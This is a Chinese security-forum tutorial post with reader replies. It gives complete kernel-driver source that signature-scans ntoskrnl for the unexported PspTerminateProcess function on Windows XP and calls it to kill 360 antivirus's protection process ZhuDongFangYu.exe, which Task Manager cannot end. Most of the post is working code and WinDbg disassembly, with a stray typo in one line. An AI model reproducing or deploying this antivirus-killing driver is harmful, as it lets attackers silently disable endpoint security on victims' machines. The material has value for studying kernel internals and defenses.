首页
社区
课程
招聘
[原创]未导出函数PspTerminateProcess关闭360
发表于: 2023-9-6 14:20 5428

[原创]未导出函数PspTerminateProcess关闭360

2023-9-6 14:20
5428

1 引言

本实验通过特征码内存搜索,调用未导出函数PspTerminateProcess结束掉360的ZhuDongFangYu.exe。

本实验是在xp系统2-9-9-12分页模式下完成的。

2 相关知识

(1)未文档化函数:在WDK文档里搜不到,但是在导出表里存在的函数。这种函数可以通过GetProcAddress函数获取函数地址。

(2)未导出函数:不在导出表的函数,但存在于模块的内部。这种函数可以通过特征码搜索等方式找到函数地址,通过函数指针调用。

3 寻找未导出函数的方法

(1)windbg + 模块的pdb。

(2)通过ida的交叉引用,找到未导出函数的已导出的函数。

(3)特征码搜索。

4 实验

4.1 选择PspTerminateProcess的特征码

(1)避开全局变量、间接call这些重定位信息。

(2)避开公共代码部分,选择该函数特有的代码

本实验选择的特征码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
805c9daa 64a124010000    mov     eax,dword ptr fs:[00000124h]
805c9db0 8b7508          mov     esi,dword ptr [ebp+8]
805c9db3 3b7044          cmp     esi,dword ptr [eax+44h]
805c9db6 7507            jne     nt!PspTerminateProcess+0x1b (805c9dbf)
805c9db8 b80d0000c0      mov     eax,0C000000Dh
805c9dbd eb5a            jmp     nt!PspTerminateProcess+0x75 (805c9e19)
805c9dbf 57              push    edi
805c9dc0 8dbe48020000    lea     edi,[esi+248h]
805c9dc6 f6470120        test    byte ptr [edi+1],20h
805c9dca 7412            je      nt!PspTerminateProcess+0x3a (805c9dde)
805c9dcc 8d8674010000    lea     eax,[esi+174h]
 
// 特征码大小
0x805c9dcc - 0x805c9daa + 6 = 40 字节
 
kd> dd 805c9daa
805c9daa  0124a164 758b0000 44703b08 0db80775
805c9dba  ebc00000 be8d575a 00000248 200147f6
805c9dca  868d1274 00000174 

PspTerminateProcess函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
kd> u nt!PspTerminateProcess
nt!PspTerminateProcess:
805c9da4 8bff            mov     edi,edi
805c9da6 55              push    ebp
805c9da7 8bec            mov     ebp,esp
805c9da9 56              push    esi
805c9daa 64a124010000    mov     eax,dword ptr fs:[00000124h]
805c9db0 8b7508          mov     esi,dword ptr [ebp+8]
805c9db3 3b7044          cmp     esi,dword ptr [eax+44h]
805c9db6 7507            jne     nt!PspTerminateProcess+0x1b (805c9dbf)
805c9db8 b80d0000c0      mov     eax,0C000000Dh
805c9dbd eb5a            jmp     nt!PspTerminateProcess+0x75 (805c9e19)
805c9dbf 57              push    edi
805c9dc0 8dbe48020000    lea     edi,[esi+248h]
805c9dc6 f6470120        test    byte ptr [edi+1],20h
805c9dca 7412            je      nt!PspTerminateProcess+0x3a (805c9dde)
805c9dcc 8d8674010000    lea     eax,[esi+174h]
805c9dd2 50              push    eax
805c9dd3 56              push    esi
805c9dd4 68769d5c80      push    offset nt!NtTerminateProcess+0x14c (805c9d76)
805c9dd9 e896eeffff      call    nt!PspCatchCriticalBreak (805c8c74)
805c9dde 6a08            push    8
805c9de0 58              pop     eax
805c9de1 f00907          lock or dword ptr [edi],eax
805c9de4 6a00            push    0
805c9de6 56              push    esi
805c9de7 e88a4f0000      call    nt!PsGetNextProcessThread (805ced76)
805c9dec 8bf8            mov     edi,eax
805c9dee 85ff            test    edi,edi
805c9df0 741e            je      nt!PspTerminateProcess+0x6c (805c9e10)
805c9df2 ff750c          push    dword ptr [ebp+0Ch]
805c9df5 57              push    edi
805c9df6 e807fdffff      call    nt!PspTerminateThreadByPointer (805c9b02)
805c9dfb 57              push    edi
805c9dfc 56              push    esi
805c9dfd e8744f0000      call    nt!PsGetNextProcessThread (805ced76)
805c9e02 8bf8            mov     edi,eax
805c9e04 85ff            test    edi,edi
805c9e06 75ea            jne     nt!PspTerminateProcess+0x4e (805c9df2)
805c9e08 3986bc000000    cmp     dword ptr [esi+0BCh],eax
805c9e0e 7406            je      nt!PspTerminateProcess+0x72 (805c9e16)
805c9e10 56              push    esi
805c9e11 e8baf5feff      call    nt!ObClearProcessHandleTable (805b93d0)
805c9e16 33c0            xor     eax,eax
805c9e18 5f              pop     edi
805c9e19 5e              pop     esi
805c9e1a 5d              pop     ebp
805c9e1b c20800          ret     8

4.1 源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
#include <ntddk.h>
 
typedef struct _LDR_DATA_TABLE_ENTRY
{
    LIST_ENTRY InLoadOrderLinks;
    LIST_ENTRY InMemoryOrderLinks;
    LIST_ENTRY InInitializationOrderLinks;
    PVOID DllBase;
    PVOID EntryPoint;
    UINT32 SizeOfImage;
    UNICODE_STRING FullDllName;
    UNICODE_STRING BaseDllName;
    UINT32 Flags;
    UINT16 LoadCount;
    UINT16 TlsIndex;
    LIST_ENTRY HashLinks;
    PVOID SectionPointer;
    UINT32 CheckSum;
    UINT32 TimeDateStamp;
    PVOID LoadedImports;
    PVOID EntryPointActivationContext;
    PVOID PatchInformation;
} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;
 
// 函数声明
NTSTATUS DriverEntry(PDRIVER_OBJECT driver, PUNICODE_STRING reg_path);
VOID GetKernelBase(PDRIVER_OBJECT driver, PVOID* pKrnlBase, PUINT32 uKrnlImageSize);
PVOID MemorySearch(PVOID featureCode, UINT32 featureCodeLen, PVOID pBeginAddress, PVOID pEndAddress);
PEPROCESS GetPEPROCESS(PCHAR processName);
VOID DriverUnload(PDRIVER_OBJECT driver);
 
// 函数指针
typedef NTSTATUS(*_PspTerminateProcess)(PEPROCESS pEprocess, NTSTATUS ExitCode);
_PspTerminateProcess PspTerminateProcess;
PVOID pKrnlBase;        // ntkrnlpa内核基址
UINT32 uKrnlImageSize;  // 内核大小
PEPROCESS pEprocess;    // 要关闭的进程的EPROCESS
 
// 入口函数
NTSTATUS DriverEntry(PDRIVER_OBJECT driver, PUNICODE_STRING reg_path)
{
    UNREFERENCED_PARAMETER(reg_path);
     
    // 特征码
    UINT32 featureCode[] = {
        0x0124a164, 0x758b0000, 0x44703b08, 0x0db80775,
        0xebc00000, 0xbe8d575a, 0x00000248, 0x200147f6,
        0x868d1274, 0x00000174
    };
 
 
    // 获取内核模块基址和大小
    GetKernelBase(driver, &pKrnlBase, &uKrnlImageSize);
    DbgPrint("内核基址: %p,大小: %X\n", pKrnlBase, uKrnlImageSize);
 
    // 获取 PspTerminateProcess 函数地址
    PspTerminateProcess = (_PspTerminateProcess)MemorySearch(featureCode, sizeof(featureCode), pKrnlBase, (PVOID)((UINT32)pKrnlBase + uKrnlImageSize));
    DbgPrint("PspTerminateProcess: %p\n", PspTerminateProcess);
 
    // 获取指定进程名的EPROCESS
    PEPROCESS pEprocess = GetPEPROCESS("ZhuDongFangYu.exe");
    DbgPrint("pEprocess:%p.\n", pEprocess);
    if (pEprocess == 0)
    {
        return 0;
    }
 
    // 调用 PspTerminateProcess 关闭进程
    PspTerminateProcess(pEprocess, 0);
    DbgPrint("ZhuDongFangYu.exe 被关闭了.\n");
 
    driver->DriverUnload = DriverUnload;.exe
    return STATUS_SUCCESS;
}
 
// 获取内核基址,大小
VOID GetKernelBase(PDRIVER_OBJECT driver, PVOID* ppKrnlBase, PUINT32 puKrnlImageSize){
    PLDR_DATA_TABLE_ENTRY pLdteHead; // 内核模块链表头
    PLDR_DATA_TABLE_ENTRY pLdteCur; // 遍历指针
    UNICODE_STRING usKrnlBaseDllName; // 内核模块名
 
    RtlInitUnicodeString(&usKrnlBaseDllName, L"ntoskrnl.exe");
    pLdteHead = (PLDR_DATA_TABLE_ENTRY)driver->DriverSection;
    pLdteCur = pLdteHead;
    do
    {
        PLDR_DATA_TABLE_ENTRY pLdte = CONTAINING_RECORD(pLdteCur, LDR_DATA_TABLE_ENTRY, InLoadOrderLinks);
        //DbgPrint("DllBase: %p, SizeOfImage: %08X %wZ\n", pLdteCur->DllBase, pLdteCur->SizeOfImage, &(pLdteCur->FullDllName));
        if (RtlCompareUnicodeString(&pLdte->BaseDllName, &usKrnlBaseDllName, TRUE) == 0)
        {
            *ppKrnlBase = pLdte->DllBase;
            *puKrnlImageSize = pLdte->SizeOfImage;
            return;
        }
        pLdteCur = (PLDR_DATA_TABLE_ENTRY)pLdte->InLoadOrderLinks.Flink;
    } while (pLdteHead != pLdteCur);
    return;
}
 
// 特征码搜索
PVOID MemorySearch(PVOID featureCode, UINT32 featureCodeeLen, PVOID pBeginAddress, PVOID pEndAddress)
{
    PVOID pCur = pBeginAddress;
    while (pCur != pEndAddress)
    {
        if (RtlCompareMemory(featureCode, pCur, featureCodeeLen) == featureCodeeLen)
        {
            // 指向函数首地址
            return (PUINT32)((UINT32)pCur - 6);
        }
        ((UINT32)pCur)++;
    }
    return 0;
}
 
// 根据进程名获取EPROCESS
PEPROCESS GetPEPROCESS(PCHAR processName)
{
    PEPROCESS pEprocess, pCurProcess;
    PCHAR ImageFileName;
 
    // 获取当前进程的EPROCESS
    __asm
    {
        mov eax, fs: [0x124] ;      // 获取指向 _KTHREAD 的指针
        mov eax, [eax + 0x44];      // 获取指向 _KPROCESS 的指针, 即EPROCESS 的首地址
        mov pEprocess, eax;
    }
 
    pCurProcess = pEprocess;
 
    // 遍历EPROCESS
    do
    {
        ImageFileName = (PCHAR)pCurProcess + 0x174;     // 进程名
        if (strcmp(ImageFileName, processName) == 0)
        {  
            return pCurProcess;
        }
        pCurProcess = (PEPROCESS)(*(PULONG)((ULONG)pCurProcess + 0x88) - 0x88);  // 更新进程
 
    } while (pEprocess != pCurProcess);
 
    return 0;
}
 
// 卸载驱动
VOID DriverUnload(PDRIVER_OBJECT driver)
{
    UNREFERENCED_PARAMETER(driver);
    DbgPrint("驱动卸载成功\n");
}

关键代码解释:

1
2
3
4
5
6
7
8
// 获取模块基址、大小的函数中
VOID GetKernelBase(PDRIVER_OBJECT driver, PVOID* pKrnlBase, PUINT32 uKrnlImageSize);
 
// 2-9-9-12分页中内核模块需要匹配10-10-12分页的内核模块名称ntoskrnl.exe,这是xp的BUG
RtlInitUnicodeString(&usKrnlBaseDllName, L"ntoskrnl.exe"); 
 
// 驱动对象 driver 中的 DriverSection 是一个指针,指向的是_LDR_DATA_TABLE_ENTRY 结构体,该结构体包含了模块在链表中的位置信息、基址、名称、大小等
pLdteHead = (PLDR_DATA_TABLE_ENTRY)driver->DriverSection;

5 实验结果

这里就不放结果图了,原理都很简单,放图上传看雪的时候也很麻烦!

ZhuDongFangYu.exe通过任务管理器直接结束会被拒绝访问。通过调用 PspTerminateProcess 成功关闭了ZhuDongFangYu.exe,不会弹出任何信息。


[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

最后于 2023-9-6 14:21 被ATrueMan编辑 ,原因: 格式
收藏
免费 1
支持
分享
最新回复 (11)
雪    币: 203
活跃值: (1209)
能力值: ( LV9,RANK:195 )
在线值:
发帖
回帖
粉丝
2
驱动。。。你得考虑一下怎么在360存在的时候加载起来你的驱动
2023-9-6 16:46
0
雪    币: 1130
活跃值: (550)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
大牛就是大牛,我是把360关掉的
2023-9-6 20:01
0
雪    币: 1130
活跃值: (550)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
palkiver 驱动。。。你得考虑一下怎么在360存在的时候加载起来你的驱动
看雪好像不能显示我回复你了
2023-9-6 20:02
0
雪    币: 89
活跃值: (274)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
10年前的 ...
2023-9-6 20:25
0
雪    币: 1130
活跃值: (550)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
红色神话 10年前的 ...
优雅永不过时
2023-9-6 20:29
0
雪    币: 8
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
7
palkiver 驱动。。。你得考虑一下怎么在360存在的时候加载起来你的驱动
就正常加载就完事儿了
2023-9-13 22:27
0
雪    币: 165
活跃值: (1521)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
以为是2013年,原来真的是2023...怀念XP上的各种骚操作
2023-9-13 22:56
0
雪    币: 1223
活跃值: (4727)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
9
十年前的帖子
2023-9-14 01:13
0
雪    币: 6124
活跃值: (4721)
能力值: ( LV6,RANK:80 )
在线值:
发帖
回帖
粉丝
10
?
2023-9-14 01:39
0
雪    币: 3594
活跃值: (31031)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
11
感谢分享
2023-9-14 09:43
1
雪    币: 220
活跃值: (776)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
12
红色神话 10年前的 ...
对,当年第8个男人论坛就公开的技术了
2023-9-23 21:09
0
游客
登录 | 注册 方可回帖
返回
//